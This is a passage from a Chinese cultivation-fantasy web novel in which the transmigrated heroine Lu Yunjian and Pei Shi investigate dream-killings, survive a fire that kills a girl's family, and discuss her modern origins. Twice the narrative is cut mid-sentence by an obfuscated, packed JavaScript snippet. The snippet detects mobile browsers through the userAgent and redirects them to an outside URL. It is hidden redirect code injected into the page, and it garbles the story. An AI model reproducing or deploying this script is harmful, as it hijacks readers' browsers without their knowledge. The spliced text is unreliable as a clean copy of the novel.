这女子她也识得,唤作“柳娘”,是挨着她家的邻居,从城里乐坊来,在此处安家的日子比母亲与她还要早些。 柳娘约莫三四十岁,已不复当初风华,但打扮得很亮丽,仍能看出掩在重重岁月后的风姿。她虽孤身一人,但性子热情爽快,在村里也还说得上几句话。 王婶不乐意了,上下打量柳娘几眼,道:“柳娘子,你怎么又帮她们说话?是这小贱人把我儿子打成这样的!”说着就要伸手上来抓陆云笺。 柳娘笑道:“这里面肯定有误会的噻,今儿云笺一直在我眼皮子底下待着,削木头做些小玩意儿,这不刚刚我们才把枇杷装好,我也就回去煮个饭的工夫,哪能欺负你家儿子呢?” 那孩子原也不知道到底是不是陆云笺害的他,只是直觉如此,此时被柳娘一堵,气势就弱了许多,但嘴上仍不依不饶:“娘,就、就是她!” 几人便有些推推搡搡起来,混乱一片。直到后来这好不容易较为清晰的一段也渐渐模糊扭曲时,陆云笺仍然不知后事如何。 之后的画面又如之前一般破碎变幻,虚实交替,教人看不清、辨不明。 就在梦中各种声音画面渐渐远去、陷入一片黑暗,陆云笺以为梦境就要结束时,眼前忽地爆开一片亮光。 原本的黑暗与死寂,忽地被混乱与喧闹代替,突如其来的喧闹人声震得她耳中嗡嗡作响,眼前混乱模糊,不知今夕何夕。 过了许久,才分辨出耳边的尖叫与嘶吼,但她什么都看不清。 之后又过了许久,待到一切恢复寂静与黑暗,她也要昏昏沉沉睡过去时,眼前忽然亮起一道柔和的光,一名修士华冠丽服,清逸挺拔,微微躬下身,朝她伸出一手。 那是云间世尊主,她的父亲,陆稷。 再睁眼时,已不再是梦境,又是熟悉的流丹阁的屋顶。 陆云笺几乎有些习惯这样的梦境与现实转换了,只是微有些头晕目眩,于是又闭上眼,在榻上躺了许久。 待到头脑稍稍清醒了些,睁眼转头一看,果然又看到陆明周守在房中,他手头也果然正在忙着些什么,甚至没有注意到她已经醒来。 陆云笺盯着他的侧脸轮廓看了一会儿,又转过身去,闭上了眼。她实在是有些累了,也有些心乱。 不知过了多久,陆云笺坐起身,带得床榻发出吱呀声响。 陆明周从繁忙事务中抬起眼,起身道:“云笺,你……” 陆云笺没等他说完话,按着太阳穴,问道:“哥,裴世呢?” 陆明周微微一怔,道:“他受了伤,已回去了。” 陆云笺点头,笑道:“我本来是去给裴世送药的,不知道怎么突然起了风沙,不知道把我们传送到了哪里,又遇到了一大片妖魔鬼怪,可麻烦了。”说完才抬眼望向陆明周,“哥,你刚刚想说什么?” 陆明周若有所思地收回目光,道:“无事,云间世镇邪塔塌了几座,不慎放了些邪祟出来。如今皆已稳定,正着手修缮,你们都平安无事便好。” 陆云笺微微一笑:“哥,辛苦啦。” 她也知道,这天下第一大门派不同于她现代的家庭,有诸多迫不得已、她不便知道的事,而她什么忙都帮不上,唯一能做的,就是缄口不提,不多言,更不多问。 于是二人都十分默契地没有提及白虎一事,这大概是他们都需要的台阶。 陆云笺与裴世都受了伤,留在云间世调养,这一养便是半月有余。 陆稷和陆明周倒是不急,但陆云笺不大好意思整日躺平,裴世也不大坐得住,因此二人的伤好得差不多时,便出发去赶季衡他们的脚步。 季衡等三人时而御剑,时而雇马车而行,一路上顺手除了几只邪祟,此时已经快到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063752|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溟海村了。 路途上不见有什么异样之处,因此陆云笺与裴世也不急,任马车慢慢行着,也不耗费灵力去御剑。 溟海村虽属云间世辖地,但实在有些偏远,虽说上回季衡、季瑶从云间世去溟海村时,路上还需调查线索,但他二人是御剑而行,也足足行了半月有余。 陆裴二人行了大约三分之二的路程,这路程不短,着实有些无聊。 裴世不知为何话突然变少了许多,虽然他原本也并不算话多,而原本话很多的陆云笺,由于没什么人说话,只能自己找乐子,好在她于这一道十分擅长,因此好歹没活活闷死。 坐马车坐累了,二人便也下车走一段路。 秋日风高,树木借着这风抖落一身枯叶,颤颤巍巍伸出脱得清爽的枝条,像是要去向行人讨要些什么,讨到了,便又抖一抖一身金黄,像是礼尚往来,以此为报。 于是小女孩儿昂着头,迎着扑面而来的枯叶,可怜巴巴地盯着挂在树枝上的风筝。 天色渐晚,风有些厉而冷,路上行人稀少,小女孩儿站在那儿半天,一动不动,死死盯着挂在树上的风筝,仿佛在等一阵风再把它吹下来。 陆云笺看不下去这样的画面,将手中还没咬一口的糖葫芦递给女孩儿,揉揉她的头,笑道:“不要哭。那上面是你的风筝吗?” 小女孩儿点头。 “好。”陆云笺笑着把两只袖子挽起来,并不在意这风大或是冷,指树道,“姐姐会飞,这就帮你把它拿下来。” 女孩已有七八岁,并不那么容易相信这种幼稚的玩笑话,但还是很配合地点点头。 陆云笺拍了拍树干,转头对女孩道:“看好咯。” 陆云笺小时候灵活得很,常常活蹦乱跳,不过却不爱玩过家家、翻花绳,也不太爱跳橡皮筋,偏偏喜欢爬树,还喜欢倚在树枝上晒太阳。 自打来到修真界,她是决计不好意思随便爬树翻墙的,此时没有外人,倒是个一展身手的好机会。 她甚至还没开始爬就已经有些得意洋洋了。 裴世默然看着,默默收回了想用灵力将那风筝打下来的手。 陆云笺许久不练,身手倒退许多,但仍是蹭蹭蹭上了树,一把将那风筝摘了下来。她动作流利迅畅,飘飘落地,将风筝递给女孩,颇有些骄傲地:“说了姐姐会飞吧。” 女孩睁圆了眼,喊道:“姐姐真的会飞!”她歪着头,似是崇拜又似是羡慕地,“姐姐会飞,那姐姐是神仙吗?” “啊?神仙?”陆云笺捧腹,本想下意识否认,但见小孩子天真,她心情也好,便把玩笑开了下去,“是啊,姐姐是神仙。” “姐姐是神仙,那姐姐就会仙术喽?” 陆云笺笑着揉她的脑袋:“怎么还有?”这话她不急着答,只是拍拍女孩的背,道,“风筝拿下来了,天色有些晚了,快回家吧。” 女孩却不肯走:“不,不是,姐姐,几个月前我们那里有人死了,好吓人,娘亲看到了,老是做噩梦,好久了也没有好,姐姐会仙术,可不可以帮帮娘亲?” “啊,”陆云笺微微一怔,“是不是来过一个哥哥一个姐姐处理好了?” “嗯,”女孩闷闷地点头,“姓季的哥哥姐姐,他们就会仙术,但是娘亲开始做噩梦的时候,他们已经走了。” 女孩抓着陆云笺的袖子使劲摇:“姐姐,求求你了,好多道士大夫都看不明白,娘亲、娘亲真的很难受,姐姐,求求你了,就看一眼,就看一眼好不好?” 陆云笺苦笑,非是不愿,实在是……七八岁,小女孩儿,她是真的有阴影了。 陆云笺蹲身弯腰,与女孩齐平,问道:“你娘亲做的是什么噩梦?” 女孩像是想到了什么可怕的东西,下意识往后一弹,颤声道:“我、我不清楚,我不敢听。我只听到娘亲说……有个穿白色斗篷的人,还、还有……黑色的蛇,过来咬娘亲……” 37. 夜失孤 此言一出,陆云笺毛骨悚然,几乎是下意识地转头去看裴世。 裴世自上次被鬼魈重伤以来脸色一直略显苍白,他的情绪似乎也跟着变得有些苍白单调,因此他的表情没什么变化,只淡淡地说:“杀人与夺魂,不是同一人。” 这便是不得不去了。 二人由女孩领着,直奔她家而去,到时天色已全然暗了下去。一年迈老妇开了门,先瞅见正站在门前的女孩,嗔道:“你这孩子,怎么这么晚才回?” 女孩拉着她的手往外瞧:“祖母,我带了神仙姐姐哥哥回来,给、给娘亲看一看。” 老妇人似乎这才注意到一直站在一旁暗处的二人,转头上下打量他们几眼,道:“二位……”说着让开了身,做出个“请”的手势,“二位仙君先请进吧。” 此时才刚入夜,应当正是吃晚饭的时候,然而院中一片漆黑,只有一间狭小的房间之中还亮着一豆昏黄孤灯,四周一片寂静,唯余聒噪鸦声。 陆云笺正疑惑,一旁女孩轻轻拉了拉她的衣袖,轻声道:“娘亲这些天身体不好,爹爹和哥哥去外面给人家写字写了一整天,都已经睡啦。姐姐哥哥要是不介意,今晚也睡我们家好不好?” “哎,都睡了么?”陆云笺又抬头望了眼漆黑的几间房,刹住脚步,“这样的话,那我们今天就先不打扰了,明天我们再来看你娘亲好不好?” 小姑娘却撅了嘴,拉着陆云笺袖子的手重了好几分:“不好,爹爹说要有待客之道,客人来家里要好好招待。姐姐哥哥要是现在走的话,爹爹要是知道,肯定会说我的。” 女孩拉着陆云笺在厅中坐下,老妇人已手脚麻利地摆出了饭菜:“二位仙君想来应该还未用饭,先将就着用些吧。” 左右这好意推却不过,二人也正好没用饭,于是便坐下了。吃了没几口,陆云笺眼睛一亮:“哎,这菜是从三里外那个集市上买的么?” 女孩道:“是、是的呀,姐姐怎么知道?”她正抱着陆云笺给她夹的鸡腿啃得香,她家今日用晚饭用得太早了些,此时小女孩已经又有些饿了。 “我就说嘛。今天中午我们刚在那儿吃过饭,这个烧鸡很好吃,我记得的。” 女孩看着她,笑得纯真无害:“姐姐喜欢的话就多吃些噢!” 用过了饭,老妇人为二人腾了房间,便带着女孩去睡了。此处虽不是什么荒郊僻壤,但街坊邻居相互隔得较远,人烟稀少,入夜之后显得格外寂静无人声。 回房前,陆云笺悄声问:“裴世,你觉得这户人家有什么问题没有?” 陆云笺对阿敏薛夫人那一家的阴影实在不轻,一路上走到哪儿都要这么问一嘴,因此裴世并不意外,也没有像之前那样讥嘲,只淡声道:“暂时没有。” 陆云笺便松了口气:“那就好。” “不过,”裴世平静地继续,“若是这梦境正是之前黑龙杀人的幻境,那么这些不通法术的凡人如何能逃过?她多次梦见却仍安然无事,想必并不简单。” 因着他这句,陆云笺一晚上都睡得很不安稳。 前半夜翻来覆去思索着杀人夺魂之事,不敢入睡,熬了半宿,终是熬不住,后半夜迷迷糊糊地睡了过去,然而将要进入深眠时,却忽地感到一阵突如其来的灼热,眼前蓦地起了红光,昏昏沉沉间,耳边的喧哗渐渐清晰起来。 “起火了,救火啊!!”陡然一声大喝如惊雷炸响在耳边,陆云笺猛地惊醒。火势尚未蔓延到她住的这间屋子,但屋外不远处已是红光一片,红海沸腾,焦急慌乱的人声在其中翻滚。 陆云笺因睡不安稳,所以未除衣衫,只匆匆套了鞋便往屋外冲去,才打开门,便有一人抓了她的手,向外奔去。 陆云笺不用看也知道是谁,微一踉跄,道:“裴世,等等,还有——” 却没有说完,到嘴边的话在看到不远处的情形时生生堵了回去。 她原是想让裴世去救尚在屋中的那些人的——小女孩儿曾匆匆提过的那些人,她的祖母,母亲,父亲,兄长……此时都悬在树枝上,垂着头、耷着肩膀,在烈火灼烧下只剩焦黑的影子,瞧不清面貌,在被火光映亮的半边夜空中,只见得他们的身影随夜风轻轻晃荡。 统共四人,未见女孩的影子,不知是福是祸。 陆云笺没把话说完,裴世却已领会了她的意思,他神色复杂、意味不明地转头看了她一眼,转身掠至另一间房,抱了个瘦瘦小小的女孩儿出来。 女孩在此惊动下终于惊醒,先是茫然地转了转眼珠,而后看到不远处的滔天火光与悬在半空的人影,骇得厉害,随即意识到了那些人影是什么,又是悲恸至极,哭喊着就要不管不顾朝那些人影奔去。 陆云笺眼疾手快地一把捞回她,道:“别过去!”一捞之下,才发觉这小女孩儿一身寒霜冷露、袖口微湿,不知是何缘故。 大门被隔在大火之外,院中摆了许多花草,眼看火势正不断蔓延,二人不敢再多停留,裴世抬手轰塌侧面高墙,拽着陆云笺奔了出去。 待到大火被扑灭,天色已然微亮。悬在树上的尸体被放了下来,已是焦黑模糊辨不清面目,只堪堪能辨出性别。 小女孩儿毫不在意这尸体的焦臭脏黑,伏在亲人的尸体上,嚎啕大哭,到最后脸色青白、声音嘶哑:“我、我之前起来,明明、明明还好好的……娘亲……爹爹……怎么能这样……” 裴世的脸色在一地余烬之中显得更为苍白,他捕捉到这一句,问:“你起来做什么?” 女孩儿哭得嗓子都哑了,说话都有些艰难,但还是答:“我、我肚子不舒服……那个时候……明明还好好的……” 那想必她那一身寒气就是起夜时沾染上的了。陆云笺忽然有些愧疚,在这种时候,她竟还有心思疑这疑那,莫不是这个时空横行的魑魅魍魉,真的要把她磨成铁石心肠了? 如此想着,歉意更甚,她稍稍上前一步,伸出一手,想要去摸摸那小女孩儿的头。 裴世却先了她一步。 陆云笺本以为裴世这样的人并不会与他人共情,他方才问出那不合时宜的一句,她也毫不意外,只心道裴世果真谨慎至此,还能冷静分析情况。 不管是对待之前的许媛媛还是胡庆、胡三儿,他永远都置身事外,除了案情,从不过多打探。而他此时,却一反常态地摸了摸小女孩儿的头,轻声说:“没事了,不要怕。” 其实是很徒劳的句子。怎么可能“没事”,又怎么可能“不怕”。 但他眼神动作都轻柔,终于衬得上他那张原本看上去温润亲和的脸。 见了鬼了。 陆云笺瞪大眼睛,猛地一拍脑门,这才意识到自己不是在做梦。 真是见了鬼了,裴世还能这么说话?! 他这样一说,小女孩儿却是哭得更凶了,泪水似江河决堤,再停不下来。 突遇此事,二人之后几天忙于处理后事、安抚民众,脚程也就慢 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这亲切让陆云笺的目光又软下去几分,她摸着女孩儿的头,道:“记得,不会走错的。” 燕燕攥着陆云笺的手不松,另一手从怀中拿了一个方方正正的小纸包来,展开来,只见得中央躺着几块桂花糕,只是似乎放得久了些,有几块已经有些碎了。 燕燕在其中挑挑拣拣,挑了两块最大最整的,一块递到陆云笺手中,道:“娘亲留给我的,我舍不得吃。但是姐姐是好人,可以给姐姐。”说着又小跑两步,跑到站在不远处的裴世身旁,抬手把另一块递给他。 裴世起初没有接,只是静静地站着,垂下的目光打在女孩儿脸上,不知是平静还是冷淡。 陆云笺本以为他不会接,她怕小女孩伤心,腿已经迈了出去,打算去收拾一下局面,谁知裴世静默良久,终是微微弯下腰,从女孩儿手中接过那一块糕点,而后似乎无甚情绪地道了一句:“多谢。” 将燕燕托与她的姑父姑母,二人走出几里,一直不发一言的裴世忽然道:“此事有疑。” 陆云笺心里虽有几分猜测,但还是问:“哪里有疑?” 裴世道:“若是之前那人放黑龙寻仇,那便无需多此一举。” 陆云笺点头:“他之前没有半点遮掩的意思,放把火烧了尸体的确很多余,不仅麻烦,还容易引起关注。那他放火的目的是什么?如果是为了杀人,那他完全没必要选择这种方式。” 顿了顿,她又补充道:“更何况燕燕和她祖母是睡在一起的,有什么理由偏偏只放过一个小孩子?” 裴世道:“若说放火,那么‘火’,有一种最直接的效用。尸体焦黑不全,难以判断生前是以何种方式死亡,也就是说——是不是死于黑龙之手,还有待考量。” 陆云笺道:“似乎死于黑龙幻境的都是从溟海村出来的人。季衡、季瑶他们一路查来,要是这户人家有什么问题,应该也早就解决了。前几天跟他们联络,这几天又跟邻居们打听,不都说他们不是溟海村人嘛。” 陆云笺顺着他的思路走完,才后知后觉地起了一层冷汗:“不是……要不是操纵黑龙幻境的人的话,那岂不是又来一个?!还有完没完?!” 裴世闻言转头望她。 若在以往,他高低要嘲讽两句,如今语气却是淡淡的,几乎毫无波澜:“你所说的‘现代’,没有这样的妖魔鬼怪吗?” 38. 闻异乡 “没有啊。”陆云笺道,“就算是有,也不会像这样到处乱窜、到处害人。” 裴世闻言撇过头去,不再说话。 一路上他偶尔也会问起这么几句,陆云笺每次都只简短回答,并不多说,怕戳到他的痛处。偶尔问得多了,陆云笺还以为他对另一个时空很有兴趣,多说了几句,他却又常常不作回应,又弄得陆云笺心中惴惴,干脆抛开不想。 陆云笺便也不再继续这个话题,道:“那之前燕燕的母亲做噩梦的事又该怎么说?” 裴世道:“假使操纵黑龙杀人的并不是海妖,那么除去之前失魂的人,被黑龙幻境所杀的皆是溟海村人,此事一定还与溟海村有关。既然季衡等人正守在溟海村,路上若无线索,那便还是先前往溟海村与他们三人汇合。” 如此又走了几日,所谓的黑龙幻境的线索再次消失,调查再次陷入了困局。 又是一日早饭时分,正是晴朗时候,只是晚秋太阳远不如先前毒辣,透过窗棂投在人身上,倒是一阵洋洋暖意。 陆云笺嫌小笼包汤汁太多,烫嘴,夹了一只在碗里戳出好几个洞,等着汤汁慢慢流干,百无聊赖地找着话题:“哎,裴世,查一个邪祟就要这么久的话,那岂不是要花很多时间搞定各种妖魔鬼怪?人手够吗?” 裴世道:“自然不是都需要这么久。” 陆云笺道:“那这个东西肯定是很厉害的了。” 裴世端着茶杯的手顿了一瞬,道:“往往只有人,才会如此厉害。”他说着似乎是心情不错,问道,“你所说的‘现代’,不修道,不除妖魔邪祟,那能做什么?” 陆云笺心道一声“哦哟”,也不知裴世今日为何居然跟她聊这种话题,见鬼了一般上下打量他许多眼,而后道:“什么叫‘那能做什么’?能做的可多了,难道人只有修道这一条路吗?” 裴世微微挑眉,道:“比如?” 来到熟悉的话题领域,陆云笺也顾不上戳小笼包子了,把筷子“啪”地一放,神采奕奕道:“说个你们这儿没有的吧。你知道‘人造星河’是什么吗?” 陆云笺有些忘形了,一开口就把两个时空划成“你们我们”的阵营,仿佛她和这个时空是敌对的,她身在曹营心在汉,一门心思从来都不属于这个时空。 裴世的目光凝固许久,才想起来问:“‘人造星河’?” 陆云笺道:“就像上元节一样,整条街都亮着灯,灯光可以照亮整片天空。不过我们那儿呢,是整个城市亮起霓虹灯,天空五光十色,比放烟花还好看。” 裴世正奇怪她为何好端端提起这样一件事物,陆云笺又道:“在这里,我还没有见过那样热闹的景象呢。” 裴世的指尖微微一凝。 陆云笺继续自顾自地道:“这么说吧,虽然不修道,但是也有很厉害的武器。不过我似乎……”她说着微微一顿,像是思绪忽然卡住了。 裴世道:“不过?” 陆云笺回过神来:“不过我似乎对这些东西不太清楚,不好乱说。但是在现代,也有人提出过存在平行时空的设想。” 裴世微感奇怪,但好容易捕捉到一个关键词,他便也无心细想其他:“平行时空?” 陆云笺把不由自主前倾的身子收回来,重新持了筷子,小笼包的汤汁已经流干,甚至有些冷了,她一筷子夹了便整个塞进嘴,塞得两腮鼓鼓:“要说理论,其实我也不太记得了。我承认我这人比较笨,就像在这儿学不会法术一样,在那边学习也不好。”她的眸色黯淡了一瞬,“反正在哪儿都拖后腿。” 不过好在只有一瞬,那一瞬过去,陆云笺便又立马恢复了明媚神色: “总之,大意就是在我们所处的时空之外,还存在着其他相似但又有差异的时空。虽然并没有被证实……但是你看,我就是这么来的,从另外一个时空来的,虽然我也不知道是为什么。 “就像你们这儿,有个传说是说几百年前魔王利用法器撕开了一条时空裂缝一样,我们所处的时空不一样,那听到的各种传说理论也就不一样。 “真是奇妙,为什么两个时空会这么不一样?要说完全不一样,那又不是,毕竟我爸还是我爸,我哥还是我哥,我的朋友们……也都还认识。”说着忽然一噎,感觉到哪里不对劲,偷偷去瞄裴世。 裴世的神色果真有些黯然,杯中茶早已饮尽了,却还是拿着空杯灌了一口又一口,手指关节微有些发白:“是啊。如此不同,又如此相同。我原本也很好奇,我在所谓‘现代’,会是怎样一个人,不想你未曾见过,那便算了。” 陆云笺默然片刻,道:“这个……我记性本来就不怎么好,可能我们在那边交流得不多,我又撞坏了脑子,所以一时记不起来了。” 裴世微微一笑,像是收下了她的好意,转而道:“你呢?你的阴错阳差,又是何机缘?” 陆云笺便有些郁闷:“过马路的时候低血糖犯了,头晕站不稳,车撞过来,我在半空滚了好几圈,特别疼,然后就整天要死不活的了。” 她语气愤愤,仿佛这个要死不活的人是她的仇人,她一点也不想提起。 “然后我躺了两年,前些日子死了,不知怎么到了这里。要命,我在那边躺在病床上,啥也不干,就已经觉得很拖累我爸我哥季瑶他们了。谁知道来到这边,都是第一大门派第二大门派的人,我什么都不会,更觉得自己是个累赘。” 裴世的思绪卡在“两年”这个词上,半天才缓过神,道:“有所不长,非你之过。” 陆云笺:“??” 裴世是吃错药了吗,心情这么好,说话这么好听?? 陆云笺的神思出走一瞬,这一句便被裴世下一句话掩盖过去了:“你闭关,也恰是两年。” 陆云笺回过神,想起那回梦中,深陷腹中的那把刀。难道不是所谓“重伤闭关”,而是伤重致命,生死不明吗? 裴世似乎也的确有试探之意。 陆云笺下意识舔舔嘴唇,涩声道:“裴世,我做了一个梦……” 她正组织言辞,裴世却忽然变了主意,道:“罢了,到时候叫妄尘看过,一切自有分晓,现下不必再想了。”他手心已经沁出一层薄汗,以至于刚刚出声打断,声音都不大稳当。 他原本的目的就是将话题引到此处,能探一分是一分,可话到临头,竟是下意识退缩了。 ……难不成会是害怕吗? 后半段早饭安静了些,由于二人各怀心事,也格外地慢。 用过早饭,又是快到用午饭的时候,天气正晴朗,适合赶路,二人便没雇马车,一路徐徐而行,从街市上穿过,权当消食。 此时不是街市热闹的时候,只有稀稀拉拉的几个摊子无力地摆在路边,陆云笺正被角落一处小摊上的草编蝴蝶吸引去目光,忽地身旁一个灰黑身影一闪,挡住了她的视线。 “咳!” 陆云笺下意识往后弹了一步,莫名其妙地瞪着这个突然出现的人。 此人一身黑袍,头戴青冠,周身太极四灵八卦北斗仙鹤画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076787|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个遍,显然是个花里胡哨的假道士,偏生还蓄着一撮小胡须,更显得有几分贼眉鼠眼,还是个惯会坑蒙拐骗的假道士。 道士微微俯身,压低声音道:“我看二位打扮,应当也是道上人吧?”见二人不说话,他指指自己身上背的包袱,很有些神秘而不可告人的意思,“我这儿有几本道法秘籍,看看?” 陆云笺虽知这是个假道士,却有些好奇:“秘籍?” 道士煞有介事地点点头:“正是。只是这几本秘籍的来路上不得台面,”他说着四处张望了一圈,将声音压得更低,“是贫道在各大门派里头的友人偷学来编成册子的,也是实在不适合贫道心法,便只好拿出来换些钱两。” 说着已经从包袱里抽了一本小册子出来,悄摸递给陆云笺:“也是看仙君是道上人,识货,心里也有数。这记的可是风华五君的道法,若不使些手段,可得不来的。” 陆云笺道:“风华五君是什么?” 一旁裴世闭上了眼睛,仿佛这样就可以将声音也隔绝在外似的。 道士递小册子的手停顿了一下:“……仙君不知道?” 陆云笺道:“闭关了几年,消息比较滞后,的确不大清楚。” 道士嘀咕了几句,陆云笺没听清,只听道士答道:“说的是当今最有名的五位年轻仙君,第一大门派云间世的两位陆仙君和归云仙君,还有第二大门派镜阳宗的两位季仙君。” 陆云笺接小册子的手也停顿了。 这样的词汇叠在一起,有些吵闹,闹得她头疼,她有些哭笑不得地道:“不是……你们这名儿起得也太……”随手翻开小册子,见第一页上写着几个大字:归云仙君内功心法。 道士见她的手在这一页停了片刻,便眼疾嘴快地介绍:“归云仙君的内功心法是出了名的速成心法,修个几天便能大为精进,最受欢迎。要知道归云仙君早些年也是名不见经传的小弟子呢,谁承想一朝归云剑出,名动天下啊。” 说是“速成心法”,陆云笺却想起裴世有事没事就拿着各种图谱卷轴典籍研究,哪有什么速成之法?只不过人易贪心,常想事半功倍,妄念一步登天。 裴世的白眼已经远超显而易见的程度了。 陆云笺很贴心地把“归云仙君内功心法”递到他手上,以便归云仙君本人来品鉴,又朝那道士问:“还有么?第二受欢迎的是哪位?” 道士翻找一阵,翻出另一本小册子,道:“这是云间世陆仙君的。” 陆云笺还道写的是陆明周,谁知接过一看,却见分明写的是自己。 道士贴心解说道:“云间世的陆小姐不像其余门派大家的公子小姐天生根骨非凡,她的心法适合常人学,对根基要求没那么高。” 见陆云笺在这本册子上停留的时间久了些,道士便抓紧机会道:“这云间世要说最奇的,那就是这位陆小姐和那位归云仙君了。别看这陆小姐是云间世尊主的义女,根骨血脉比不上那些几百年的修仙大家,但却能在云间世撑起半边天。旁人老说这陆尊主年纪是越来越大了,但年纪大又怎么着?有陆少主和陆小姐两位镇山虎,云间世第一大门派的地位谁能动?” 陆云笺有些不悦,但面上仍然礼貌地微笑着:“这传得也太离谱了吧,谁告诉你这陆小姐是义女?话可不能乱说乱传。” 此言一出,其余两人却都转头看她。 道士指着小册子的手一顿,收回了,他上下打量陆云笺好几遍,最后犹犹豫豫地开口:“……你到底是不是修道的?” 39. 戏罪帷 陆云笺蹙眉抬眼看他:“是啊,但是这和我修不修道有什么关系吗?” 道士道:“道上人谁不知道陆小姐是云间世尊主收养的?这位姑娘,不是修道的也想要功法秘籍,这我能理解,修不了也能卖几个钱是吧,但你要是这样子拿贫道寻开心,那可就没意思了。” “不是,”陆云笺简直百口莫辩,“说了不是收养的就不是,我就是……”话及此,却是猛然刹住。 她向来是个追求随心所欲的人,这一回,理智第一次让她悬崖勒马。这要是说出来,不管旁人当不当真,总归是不妥的,要是传回云间世,传到父亲耳中…… 于是陆云笺顿了顿,继续道:“我就是云间世的人,难道我不比你们清楚吗?” “嘿我真是奇了怪了,敢情你就非说是我哄你呗?你要不信,问你旁边那位啊,这道上人都知道的事儿,谁要骗你了?” 道士说着也不悦,把陆云笺与裴世手上的册子都夺了回去,整整包袱就走:“也真是晦气,今儿开张就碰上这么个事儿,出门没看黄历。” 待到道士走远了不见影儿了,陆云笺才后知后觉地意识到,小册子已经被抽走,还想再往后翻几页,也没机会了。 手不知在半空中停了多久,陆云笺蓦地反应过来,像是不知道把手往哪儿放似的整了整衣摆,而后径直走向角落那处小摊:“老板,这个草编蝴蝶怎么卖?” 她蹲在摊前,指尖戳戳点点着那只蝴蝶,看起来似乎心情颇好,连声音都是轻快的。 “编得真好,是用什么编的?怎么编的?” 小贩是个皮包骨的年轻人,估计出摊有好一会儿了,只是小摊子简陋,隐在角落又不起眼,此时迎来第一个客人,便也显出了几分年轻人的活力,热情耐心地一一应着。 陆云笺只是笑,不知小贩的话听了几个字,只知道起身时,腿麻了,脸也僵了。 各式各样的草编蝴蝶蜻蜓蟋蟀各买了一只,通通塞进乾坤囊里,手上还留了一只,一边赶路,一边慢慢地、仔仔细细地拆,将栩栩蝴蝶拆成片片干枯草叶。 许是觉得气氛有些太僵,陆云笺拆完手上的蝴蝶,开口说了第一句话:“你别说,这手艺是真好。” 与此同时,一路沉默的裴世忽然开口问道:“你不想查吗?” 陆云笺停顿一瞬,笑着把话说完:“这手艺是真好,好复杂,我把它拆了,就再也编不回原来的样子了。”她把手上的草叶一一沿着纹路撕开,撕成一条一条、一丝一丝,风一吹,便都飞飞扬扬不见。 她道:“我不想查啊。我肯定是我爸妈亲生的,这我知道,我也不信什么真假千金的戏码。但是你看,这两个世界这么不一样,有些这样那样的差别,也没什么嘛。也许在这边,我和我爸我哥的缘分没到血缘那一步,但是不管怎么样,现在不还是一家人吗?” 裴世闻言微微蹙眉:“你为何如此相信他们?” “他们?谁?”陆云笺漫不经心地把脚下一粒石子儿踢出数尺,“我爸和我哥,我当然信啊,不信他们信谁? “不管在哪儿,我爸和我哥就是我最亲的亲人,这点永远都不会变。现在他们是天下第一大门派的掌门人,肯定有很多考量很多顾虑,我既然不懂,那就不会去添乱。 “假如我真的和他们存在血缘关系,那么堂堂第一大门派,要收养一个女儿,不可能不验我的血脉,也肯定能验出来,这我知道。 “但要是去查了,又怎么样呢?假如我是亲生的,难道我要跑到大殿上去指着我爸我哥的鼻子质问他们为什么不认我吗?假如我不是亲生的……” 陆云笺说着苦笑起来:“那也很糟糕,我不敢想。我是个胆小鬼,很多事情都不敢面对。我又笨,复杂一点的事,也不会处理。 “既然不会,那就这样吧,我没什么大志向,也就想混混日子,安安分分的不要起什么风浪。实在有什么难题……” 她说着回头一笑:“等到时候问了妄尘前辈,没准就能知道恢复记忆的方法。到那时候,我就甩手不干了,全都不要脸地推给这个时空的陆云笺。” 裴世顿住脚步,目光透过这副与从前一模一样的壳子,想要看清里面的魂灵,依稀可辨两个截然不同的时空为两个截然不同的魂灵打下的截然不同的烙印。 他听她描述另一个时空,又曾在献祭法阵中见过她的记忆,概括起来不过寥寥数语,但仍然生动鲜明。 另一个时空的她,走过的路尽是喧闹繁花与刺目烈阳。 他不曾见过那样的景象,他知道,这个时空的陆云笺,天下第一大门派的陆小姐,风华五君里仍是佼佼的陆仙君,也不曾见过。 他忍不住想—— 从前的陆云笺若是知道了,会怎么样呢? “哈哈。”陆云笺一声轻笑将他的神识唤回,她把手里撕成细细枯丝的草叶都扬尽了,像是抛去一身负担,“听起来好像有点聪明的样子,没想到我还能这样装模作样地分析一件事,好神奇。我似乎原本不应该是这种人,以前要是碰上这样的事,多半脑袋就发痛了,哪还有什么心情思考?看来还是长了些本事。” “但是说句实话啊。”她忽然又停住,笑吟吟地看他,“裴世,没准我比你还更想让这个世界的陆云笺回来。” 裴世的嘴角终于苦涩地弯了一弯,不知是何情绪:“是吗。” 二人行至晌午,正走过了一片郊野,进了一座小镇。午间人们大多数要么在家中要么在饭馆,街上行人不多,刚一进镇子,便看见一座气派酒楼,里头人声鼎沸,好不热闹。 “终于到吃饭的点了。”陆云笺转头对裴世道,“那家人多,肯定是有什么好东西。” 进酒楼一看,原来一楼正中央搭了个木偶戏台子,比一般的都要更大更气派,木偶人色彩绚丽栩栩如生,一举一动犹如活人,一动一静似有生命,好不精彩。 一楼坐得太满,陆云笺只好挑了张角落的桌子,斜对着戏台子,堪堪能看见木偶人的影子。 “啊,原来是《白蛇传》。”陆云笺伸长了脖子看,“好巧啊,原来你们这边也有这个故事。” 裴世知道她的“你们我们”“这边那边”是什么意思,闻言抬眼,目光也落在戏台子上:“这故事倒是粗略听过,但不甚了解。” 